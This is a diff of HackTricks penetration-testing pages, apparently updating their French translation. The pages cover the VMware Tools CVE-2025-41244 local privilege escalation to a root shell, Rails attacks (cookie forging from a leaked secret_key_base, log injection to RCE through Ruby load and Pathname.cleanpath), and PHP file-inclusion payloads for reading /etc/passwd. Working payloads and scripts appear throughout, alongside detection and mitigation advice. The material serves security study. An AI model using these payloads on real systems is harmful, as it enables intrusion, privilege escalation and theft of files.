-# VMware Tools découverte de services LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
+# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Cette technique exploite des pipelines de découverte de services pilotés par des regex qui analysent les lignes de commande des processus en cours pour déduire les versions des services, puis exécutent un binaire candidat avec l'option "version". Lorsque des motifs permissifs acceptent des chemins non fiables contrôlés par l'attaquant (par ex. /tmp/httpd), le collecteur privilégié exécute un binaire arbitraire depuis un emplacement non fiable, entraînant une élévation de privilèges locale. NVISO a documenté cela dans VMware Tools/Aria Operations Service Discovery comme CVE-2025-41244.
+Cette technique abuse des pipelines de découverte de services pilotés par des regex qui analysent les lignes de commande des processus en cours d'exécution pour déduire les versions des services, puis exécutent un binaire candidat avec un flag "version". Quand des patterns permissifs acceptent des chemins non fiables contrôlés par l'attaquant (p. ex. /tmp/httpd), le collecteur privilégié exécute un binaire arbitraire depuis un emplacement non fiable, entraînant une escalade de privilèges locale. NVISO a documenté ceci dans VMware Tools/Aria Operations Service Discovery comme CVE-2025-41244.
 
-- Impact : Élévation locale des privilèges vers root (ou vers le compte de discovery privilégié)
+- Impact : Escalade de privilèges locale vers root (ou vers le compte de découverte privilégié)
 - Root cause : Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
-- Affected : open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
+- Affected : open-vm-tools/VMware Tools sur Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
 
-## Comment fonctionne la découverte de services VMware (vue d'ensemble)
+## How VMware service discovery works (high level)
 
 - Credential-based (legacy) : Aria exécute des scripts de découverte à l'intérieur du guest via VMware Tools en utilisant des identifiants privilégiés configurés.
-- Credential-less (modern) : La logique de découverte s'exécute au sein de VMware Tools, déjà privilégiée dans le guest.
+- Credential-less (modern) : La logique de découverte s'exécute dans VMware Tools, déjà privilégié dans le guest.
 
-Les deux modes exécutent finalement une logique shell qui scanne les processus ayant des sockets à l'écoute, extrait un chemin de commande correspondant via une regex, et exécute le premier token argv avec un paramètre de version.
+Les deux modes exécutent finalement une logique shell qui scanne les processus avec des sockets en écoute, extrait un chemin de commande correspondant via une regex, et exécute le premier token argv avec un flag version.
 
-## Cause racine et modèle vulnérable (open-vm-tools)
+## Root cause and vulnerable pattern (open-vm-tools)
 
-Dans open-vm-tools, le script du plugin serviceDiscovery get-versions.sh matche les binaires candidats en utilisant des expressions régulières larges et exécute le premier token sans aucune validation du chemin de confiance :
+Dans open-vm-tools, le script plugin serviceDiscovery get-versions.sh matche les binaires candidats en utilisant des expressions régulières larges et exécute le premier token sans aucune validation du trusted-path :
 ```bash
 get_version() {
 PATTERN=$1
@@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
 done
 }
 ```
-Il est invoqué avec des motifs permissifs contenant \S (caractère non-espace) qui correspondent facilement à des chemins non système dans des emplacements inscriptibles par l'utilisateur :
+Il est invoqué avec des motifs permissifs contenant \S (caractère non blanc) qui correspondent facilement à des chemins non système dans des emplacements accessibles en écriture par l'utilisateur :
 ```bash
 get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
 get_version "/usr/(bin|sbin)/apache\S*" -v
@@ -39,22 +39,22 @@ get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
 get_version "/\S+/dataserver($|\s)" -v
 ```
 - L'extraction utilise grep -Eo et prend le premier token : ${COMMAND%%[[:space:]]*}
-- Aucune whitelist/allowlist des chemins système de confiance ; tout listener découvert dont le nom correspond est exécuté avec -v/--version
+- Pas de whitelist/allowlist des chemins système de confiance ; tout listener découvert avec un nom correspondant est exécuté avec -v/--version
 
-Cela crée une primitive d'exécution par chemin de recherche non fiable : des binaires arbitraires situés dans des répertoires world-writable (par ex. /tmp/httpd) sont exécutés par un composant privilégié.
+This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
 
-## Exploitation (modes sans credentials et avec credentials)
+## Exploitation (modes sans identifiants et avec identifiants)
 
-Preconditions
-- Vous pouvez exécuter un processus non privilégié qui ouvre un socket d'écoute sur le guest.
+Préconditions
+- Vous pouvez exécuter un processus non privilégié qui ouvre une socket d'écoute sur la machine guest.
 - Le discovery job est activé et s'exécute périodiquement (historiquement ~5 minutes).
 
-Steps
+Étapes
 1) Placez un binaire dans un chemin correspondant à l'un des regex permissifs, par ex. /tmp/httpd ou ./nginx
-2) Exécutez-le en tant qu'utilisateur peu privilégié et assurez-vous qu'il ouvre un socket d'écoute quelconque
+2) Lancez-le en tant qu'utilisateur peu privilégié et assurez-vous qu'il ouvre une socket d'écoute
 3) Attendez le cycle de discovery ; le collector privilégié exécutera automatiquement : /tmp/httpd -v (ou similaire), lançant votre programme en tant que root
 
-Minimal demo (en utilisant l'approche de NVISO)
+Minimal demo (using NVISO’s approach)
 ```bash
 # Build any small helper that:
 #  - default mode: opens a dummy TCP listener
@@ -65,61 +65,61 @@ chmod +x /tmp/httpd
 /tmp/httpd          # run as low-priv user and wait for the cycle
 # After the next cycle, expect a root shell or your privileged action
 ```
-Enchaînement de processus typique
-- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
-- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
+Lignée de processus typique
+- Basé sur des identifiants: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
+- Sans identifiants: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
 
-Artefacts (credential-based)
-Les scripts wrapper SDMP récupérés sous /tmp/VMware-SDMP-Scripts-{UUID}/ peuvent montrer l'exécution directe du chemin malveillant :
+Artefacts (basés sur des identifiants)
+Les scripts wrapper SDMP récupérés sous /tmp/VMware-SDMP-Scripts-{UUID}/ peuvent montrer l'exécution directe du chemin malveillant:
 ```bash
 /tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
 ```
 ## Généralisation de la technique: regex-driven discovery abuse (portable pattern)
 
-De nombreux agents et suites de surveillance implémentent la discovery de version/service en :
-- Énumérant les processus avec des sockets en écoute
-- Greppant argv/command lines avec des regex permissifs (par ex., des patterns contenant \S)
+Beaucoup d'agents et de suites de monitoring implémentent la découverte de version/service en :
+- Énumérant les processus avec des sockets d'écoute
+- Grepping argv/command lines avec des regexes permissives (p. ex., patterns contenant \S)
 - Exécutant le chemin correspondant avec un flag bénin comme -v, --version, -V, -h
 
-Si le regex accepte des chemins non fiables et que le chemin est exécuté depuis un contexte privilégié, vous obtenez CWE-426 Untrusted Search Path execution.
+Si la regex accepte des chemins non fiables et que le chemin est exécuté depuis un contexte privilégié, on obtient CWE-426 Untrusted Search Path execution.
 
 Abuse recipe
-- Nommez votre binaire comme des daemons courants que le regex est susceptible de faire correspondre : httpd, nginx, mysqld, dataserver
+- Nommez votre binaire comme des daemons courants que la regex est susceptible de matcher : httpd, nginx, mysqld, dataserver
 - Placez-le dans un répertoire inscriptible : /tmp/httpd, ./nginx
-- Assurez-vous qu'il correspond au regex et ouvre un port pour être énuméré
+- Assurez-vous qu'il match la regex et ouvre un port quelconque pour être énuméré
 - Attendez le collecteur planifié ; vous obtenez une invocation privilégiée automatique de <path> -v
 
-Masquerading note: Ceci s'aligne sur MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) pour augmenter la probabilité de correspondance et la furtivité.
+Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
 
 Reusable privileged I/O relay trick
-- Construisez votre helper de sorte que lors d'une invocation privilégiée (-v/--version) il se connecte à un rendezvous connu (par ex., une socket UNIX abstraite Linux comme @cve) et relie stdio à /bin/sh -i. Cela évite les artefacts sur disque et fonctionne dans de nombreux environnements où le même binaire est ré-invoqué avec un flag.
+- Concevez votre helper de sorte que lors d'une invocation privilégiée (-v/--version) il se connecte à un rendezvous connu (p. ex., un socket UNIX abstrait Linux comme @cve) et relie stdio à /bin/sh -i. Cela évite les artefacts sur disque et fonctionne dans de nombreux environnements où le même binaire est ré-invoqué avec un flag.
 
-## Detection and DFIR guidance
+## Détection et conseils DFIR
 
 Hunting queries
 - Enfants inhabituels de vmtoolsd ou get-versions.sh tels que /tmp/httpd, ./nginx, /tmp/mysqld
-- Toute exécution de chemins absolus non-système par des scripts de découverte (cherchez des espaces dans les expansions ${COMMAND%%...})
+- Toute exécution de chemins absolus non-système par des scripts de découverte (recherchez des espaces dans les expansions ${COMMAND%%...})
 - ps -ef --forest pour visualiser les arbres d'ascendance : vmtoolsd -> get-versions.sh -> <non-system path>
 
 On Aria SDMP (credential-based)
-- Inspectez /tmp/VMware-SDMP-Scripts-{UUID}/ pour des scripts transitoires et des artefacts stdout/stderr montrant l'exécution de chemins malveillants
+- Inspectez /tmp/VMware-SDMP-Scripts-{UUID}/ pour des scripts transitoires et des artefacts stdout/stderr montrant l'exécution de chemins d'attaquants
 
 Policy/telemetry
-- Alerter lorsque des collectors privilégiés s'exécutent depuis des préfixes non-système : ^/(tmp|home|var/tmp|dev/shm)/
-- Surveillance d'intégrité des fichiers sur get-versions.sh et les plugins VMware Tools
+- Alerter quand des collectors privilégiés exécutent depuis des préfixes non-système : ^/(tmp|home|var/tmp|dev/shm)/
+- File integrity monitoring sur get-versions.sh et les plugins VMware Tools
 
 ## Mitigations
 
 - Patch : Appliquez les mises à jour Broadcom/VMware pour CVE-2025-41244 (Tools and Aria Operations SDMP)
-- Désactivez ou restreignez la découverte sans credentials lorsque possible
-- Validez les chemins de confiance : restreignez l'exécution aux répertoires autorisés (/usr/sbin, /usr/bin, /sbin, /bin) et uniquement aux binaires exacts connus
-- Évitez les regex permissifs contenant \S ; privilégiez des chemins absolus ancrés et explicites et des noms de commande exacts
-- Abaissez les privilèges des helpers de découverte quand possible ; sandboxez (seccomp/AppArmor) pour réduire l'impact
-- Surveillez et alertez sur vmtoolsd/get-versions.sh s'exécutant depuis des chemins non-système
+- Désactivez ou restreignez la découverte sans credentials lorsque c'est possible
+- Validez les chemins de confiance : restreignez l'exécution aux répertoires allowlistés (/usr/sbin, /usr/bin, /sbin, /bin) et uniquement aux binaires connus exacts
+- Évitez les regexes permissives avec \S ; préférez des chemins absolus ancrés explicites et des noms de commande exacts
+- Baissez les privilèges des helpers de découverte quand c'est possible ; sandboxez (seccomp/AppArmor) pour réduire l'impact
+- Surveillez et alertez sur vmtoolsd/get-versions.sh exécutant des chemins non-système
 
-## Notes for defenders and implementers
+## Notes pour les défenseurs et les implémenteurs
 
-Modèle d'appariement et d'exécution plus sûr
+Pattern de matching et d'exécution plus sûr
 ```bash
 # Bad: permissive regex and blind exec
 COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
@@ -137,8 +137,8 @@ esac
 ```
 ## Références
 
-- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
-- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
+- [NVISO – Vous le nommez, VMware l'élève (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
+- [Avis de Broadcom pour CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
 - [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
 - [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
 - [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)

src/network-services-pentesting/pentesting-web/ruby-tricks.md

@@ -4,46 +4,46 @@
 
 ## File upload to RCE
 
-Comme expliqué dans [cet article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
+Comme expliqué dans [this article](https://www.offsec.com/blog/cve-2024-46986/), uploader un fichier `.rb` dans des répertoires sensibles tels que `config/initializers/` peut conduire à une exécution de code à distance (RCE) dans des applications Ruby on Rails.
 
-Tips:
-- Other boot/eager-load locations that are executed on app start are also risky when writeable (e.g., `config/initializers/` is the classic one). If you find an arbitrary file upload that lands anywhere under `config/` and is later evaluated/required, you may obtain RCE at boot.
-- Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot.
+Conseils :
+- D'autres emplacements exécutés au démarrage (boot/eager-load) sont aussi risqués s'ils sont inscriptibles (par ex., `config/initializers/` est le classique). Si vous trouvez un upload de fichier arbitraire qui atterrit n'importe où sous `config/` et est ensuite évalué/require, vous pouvez obtenir du RCE au démarrage.
+- Cherchez des dev/staging builds qui copient des fichiers contrôlés par l'utilisateur dans l'image du conteneur où Rails les chargera au démarrage.
 
 ## Active Storage image transformation → command execution (CVE-2025-24293)
 
-When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
+Quand une application utilise Active Storage avec `image_processing` + `mini_magick`, et passe des paramètres non fiables aux méthodes de transformation d'images, les versions de Rails antérieures à 7.1.5.2 / 7.2.2.2 / 8.0.2.1 pouvaient permettre une injection de commande parce que certaines méthodes de transformation étaient par erreur autorisées par défaut.
 
-- A vulnerable pattern looks like:
+- Un pattern vulnérable ressemble à :
 ```erb
 <%= image_tag blob.variant(params[:t] => params[:v]) %>
 ```
-where `params[:t]` and/or `params[:v]` are attacker-controlled.
+où `params[:t]` et/ou `params[:v]` sont contrôlés par l'attaquant.
 
-- Ce qu'il faut essayer pendant les tests
-- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
-- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
-- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
+- Que tester pendant l'évaluation
+- Identifiez les endpoints qui acceptent des options de variant/processing, des noms de transformation, ou des arguments arbitraires pour ImageMagick.
+- Fuzz `params[:t]` et `params[:v]` pour détecter des erreurs suspectes ou des effets secondaires d'exécution. Si vous pouvez influencer le nom de la méthode ou passer des arguments bruts qui atteignent MiniMagick, vous pouvez obtenir de l'exécution de code sur l'hôte qui traite les images.
+- Si vous n'avez qu'un accès en lecture aux variants générés, tentez une exfiltration aveugle via des opérations ImageMagick spécialement conçues.
 
 - Remédiation/détections
-- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
+- Si vous voyez Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 avec Active Storage + `image_processing` + `mini_magick` et des transformations contrôlées par l'utilisateur, considérez-le comme exploitable. Recommandez une mise à jour et l'application de allowlists strictes pour les méthodes/params ainsi qu'une politique ImageMagick durcie.
 
 ## Rack::Static LFI / path traversal (CVE-2025-27610)
 
-If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
+Si la stack cible utilise le middleware Rack directement ou via des frameworks, les versions de `rack` antérieures à 2.2.13, 3.0.14 et 3.1.12 permettent une inclusion locale de fichiers (LFI) via `Rack::Static` lorsque `:root` n'est pas défini/mal configuré. Des traversées encodées dans `PATH_INFO` peuvent exposer des fichiers sous le répertoire de travail du processus ou un root inattendu.
 
-- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
+- Cherchez des apps qui montent `Rack::Static` dans `config.ru` ou dans les stacks de middleware. Essayez des traversées encodées contre des chemins statiques, par exemple :
 ```text
 GET /assets/%2e%2e/%2e%2e/config/database.yml
 GET /favicon.ico/..%2f..%2f.env
 ```
-Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
+Ajustez le préfixe pour correspondre aux `urls:` configurés. Si l'application répond avec le contenu du fichier, vous avez probablement LFI vers n'importe quoi sous le `:root` résolu.
 
-- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
+- Mitigation : mettez à jour Rack ; assurez-vous que `:root` pointe uniquement vers un répertoire de fichiers publics et est défini explicitement.
 
 ## Forging/decrypting Rails cookies when `secret_key_base` is leaked
 
-Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
+Rails chiffre et signe les cookies en utilisant des clés dérivées de `secret_key_base`. Si cette valeur est leakée (par ex., dans un repo, des logs, ou des credentials mal configurés), vous pouvez généralement décrypter, modifier et re-chiffrer les cookies. Cela conduit souvent à un contournement d'autorisation si l'app stocke des rôles, des user IDs, ou des feature flags dans les cookies.
 
 Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
 ```ruby
@@ -71,12 +71,12 @@ forged = enc.encrypt_and_sign(plain)
 puts "Forged cookie: #{CGI.escape(forged)}"
 ```
 Notes:
-- Les applications plus anciennes peuvent utiliser AES-256-CBC et des salts `encrypted cookie` / `signed encrypted cookie`, ou des sérialiseurs JSON/Marshal. Ajustez les salts, cipher, et serializer en conséquence.
-- En cas de compromission/évaluation, renouvelez `secret_key_base` pour invalider tous les cookies existants.
+- Les applications plus anciennes peuvent utiliser AES-256-CBC et des salts `encrypted cookie` / `signed encrypted cookie`, ou des serializers JSON/Marshal. Ajustez les salts, le cipher, et le serializer en conséquence.
+- En cas de compromission/pendant l'évaluation, faites tourner `secret_key_base` pour invalider tous les cookies existants.
 
 ## Voir aussi (vulnérabilités spécifiques à Ruby/Rails)
 
-- Désérialisation Ruby et class pollution:
+- Ruby deserialization and class pollution:
 {{#ref}}
 ../../pentesting-web/deserialization/README.md
 {{#endref}}
@@ -86,15 +86,89 @@ Notes:
 {{#ref}}
 ../../pentesting-web/deserialization/ruby-_json-pollution.md
 {{#endref}}
-- Injection de template dans les moteurs Ruby (ERB/Haml/Slim, etc.):
+- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
 {{#ref}}
 ../../pentesting-web/ssti-server-side-template-injection/README.md
 {{#endref}}
 
 
+## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
 
+Quand une app (souvent un simple endpoint Rack/Sinatra/Rails) :
+- enregistre une chaîne contrôlée par l'utilisateur telle quelle, et
+- puis `load` un fichier dont le chemin est dérivé de cette même chaîne (après `Pathname#cleanpath`),
+
+Vous pouvez souvent obtenir une exécution de code à distance (RCE) en empoisonnant le log puis en contraignant l'app à `load` le fichier de log. Primitives clés :
+
+- Ruby `load` évalue le contenu du fichier cible comme du Ruby, quelle que soit l'extension. Tout fichier texte lisible dont le contenu parse comme du Ruby sera exécuté.
+- `Pathname#cleanpath` aplatit les segments `.` et `..` sans interroger le système de fichiers, permettant le path smuggling : des données contrôlées par l'attaquant peuvent être préfixées pour le logging tandis que le chemin nettoyé pointe toujours vers le fichier visé à exécuter (par ex. `../logs/error.log`).
+
+### Modèle vulnérable minimal
+```ruby
+require 'logger'
+require 'pathname'
+
+logger   = Logger.new('logs/error.log')
+param    = CGI.unescape(params[:script])
+path_obj = Pathname.new(param)
+
+logger.info("Running backup script #{param}")            # Raw log of user input
+load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath
+```
+### Pourquoi le log peut contenir du Ruby valide
+`Logger` écrit des lignes de préfixe comme:
+```
+I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>
+```
+En Ruby, `#` commence un commentaire et `9/2/2025` n'est que de l'arithmétique. Pour injecter du code Ruby valide, vous devez :
+- Commencez votre payload sur une nouvelle ligne pour qu'il ne soit pas commenté par le `#` dans la ligne INFO ; envoyez un retour à la ligne initial (`\n` ou `%0A`).
+- Fermez le `[` en suspens introduit par la ligne INFO. Une astuce courante est de commencer par `]` et, optionnellement, de satisfaire le parseur avec `][0]=1`.
+- Placez ensuite du Ruby arbitraire (par ex., `system(...)`).
+
+Exemple de ce qui apparaîtra dans le log après une requête avec un paramètre spécialement conçu :
+```
+I, [9/2/2025 #209384]  INFO -- : Running backup script
+][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
+```
+### Smuggling d'une seule chaîne qui à la fois logs du code et se résout vers le chemin du log
+Nous voulons une seule chaîne contrôlée par l'attaquant qui :
+- lorsqu'elle est loggée brute, contient notre Ruby payload, et
+- lorsqu'on la passe à `Pathname.new(<input>).cleanpath`, se résout en `../logs/error.log` de sorte que le `load` suivant exécute le fichier de log récemment empoisonné.
+
+`Pathname#cleanpath` ignore les schemes et résout les composants de traversal, donc ce qui suit fonctionne :
+```ruby
+require 'pathname'
+
+p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
+puts p.cleanpath   # => ../logs/error.log
+```
+- Le `#` avant `://` fait en sorte que Ruby ignore la fin quand le log est exécuté, tandis que `cleanpath` réduit toujours le suffixe en `../logs/error.log`.
+- Le saut de ligne initial sort de la ligne INFO ; `]` ferme la parenthèse pendante ; `][0]=1` satisfait le parseur.
+
+### Exploitation de bout en bout
+1. Envoyez la chaîne suivante comme nom du script de sauvegarde (URL-encode the first newline as `%0A` if needed):
+```
+\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
+```
+2. L'app enregistre votre chaîne brute dans `logs/error.log`.
+3. L'application calcule `cleanpath` qui se résout en `../logs/error.log` et appelle `load` dessus.
+4. Ruby exécute le code que vous avez injecté dans le log.
+
+Pour exfiltrer un fichier dans un environnement de type CTF :
+```
+\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
+```
+URL-encoded PoC (le premier caractère est un saut de ligne):
+```
+%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
+```
 ## Références
 
-- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
-- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
+- Annonce de sécurité Rails : CVE-2025-24293 Active Storage méthodes de transformation non sécurisées (corrigé dans 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
+- Avis GitHub : Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
+- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
+- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
+- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
+- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
+
 {{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md

@@ -13,7 +13,7 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
 ```bash
 msf> auxiliary/scanner/vmware/vmware_http_login
 ```
-Si vous trouvez des identifiants valides, vous pouvez utiliser davantage de metasploit scanner modules pour obtenir des informations.
+Si vous trouvez des identifiants valides, vous pouvez utiliser d'autres metasploit scanner modules pour obtenir des informations.
 
 ### Voir aussi
 

src/pentesting-web/file-inclusion/README.md

@@ -4,22 +4,22 @@
 
 ## File Inclusion
 
-**Remote File Inclusion (RFI):** Le fichier est chargé depuis un serveur distant (Idéal : vous pouvez écrire le code et le serveur l'exécutera). Dans php cela est **désactivé** par défaut (**allow_url_include**).\
+**Remote File Inclusion (RFI):** Le fichier est chargé depuis un serveur distant (Idéalement : vous pouvez écrire le code et le serveur l'exécutera). Dans php c'est **désactivé** par défaut (**allow_url_include**).\
 **Local File Inclusion (LFI):** Le serveur charge un fichier local.
 
-La vulnérabilité se produit lorsque l'utilisateur peut, d'une manière ou d'une autre, contrôler le fichier qui va être chargé par le serveur.
+La vulnérabilité survient lorsque l'utilisateur peut, d'une façon ou d'une autre, contrôler le fichier qui sera chargé par le serveur.
 
 Fonctions **PHP** vulnérables : require, require_once, include, include_once
 
 Un outil intéressant pour exploiter cette vulnérabilité : [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
 
-## Blind - Interesting - LFI2RCE files
+## Blind - Intéressants - fichiers LFI2RCE
 ```python
 wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
 ```
 ### **Linux**
 
-**En mélangeant plusieurs listes LFI \*nix et en ajoutant davantage de chemins, j'ai créé celle-ci :**
+**En mixant plusieurs listes \*nix LFI et en ajoutant d'autres chemins, j'ai créé celle-ci :**
 
 
 {{#ref}}
@@ -29,7 +29,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
 Essayez aussi de remplacer `/` par `\`\
 Essayez aussi d'ajouter `../../../../../`
 
-Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) se trouve [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
+A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
 
 ### **Windows**
 
@@ -43,15 +43,15 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
 Essayez aussi de remplacer `/` par `\`\
 Essayez aussi de supprimer `C:/` et d'ajouter `../../../../../`
 
-Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) se trouve [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
+A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
 
 ### **OS X**
 
 Consultez la liste LFI de linux.
 
-## Basic LFI and bypasses
+## LFI de base et contournements
 
-Tous les exemples concernent Local File Inclusion mais peuvent aussi s'appliquer à Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
+Tous les exemples concernent Local File Inclusion mais peuvent aussi s'appliquer à Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
 ```
 http://example.com/index.php?page=../../../etc/passwd
 ```
@@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
 ```
 ### **Null byte (%00)**
 
-Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (bypass de: $\_GET\['param']."php")
+Bypass l'ajout de caractères supplémentaires à la fin de la chaîne fournie (bypass of: $\_GET\['param']."php")
 ```
 http://example.com/index.php?page=../../../etc/passwd%00
 ```
-Ceci est **corrigé depuis PHP 5.4**
+Ceci est **résolu depuis PHP 5.4**
 
 ### **Encodage**
 
-Vous pouvez utiliser des encodages non-standard comme le double URL encode (et autres) :
+Vous pouvez utiliser des encodages non standard comme double URL encode (et autres) :
 ```
 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
 ```
-### Depuis un répertoire existant
+### Depuis un dossier existant
 
-Peut-être que le back-end vérifie le chemin du répertoire :
+Peut-être que le back-end vérifie le chemin du dossier :
 ```python
 http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
-### Explorer les répertoires du système de fichiers d'un serveur
+### Explorer les répertoires du système de fichiers sur un serveur
 
-Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier des répertoires, pas seulement des fichiers, en utilisant certaines techniques. Ce processus consiste à déterminer la profondeur des répertoires et à tester l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
+Le système de fichiers d'un serveur peut être exploré récursivement pour identifier des répertoires, pas seulement des fichiers, en utilisant certaines techniques. Ce processus consiste à déterminer la profondeur du répertoire et à tester l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
 
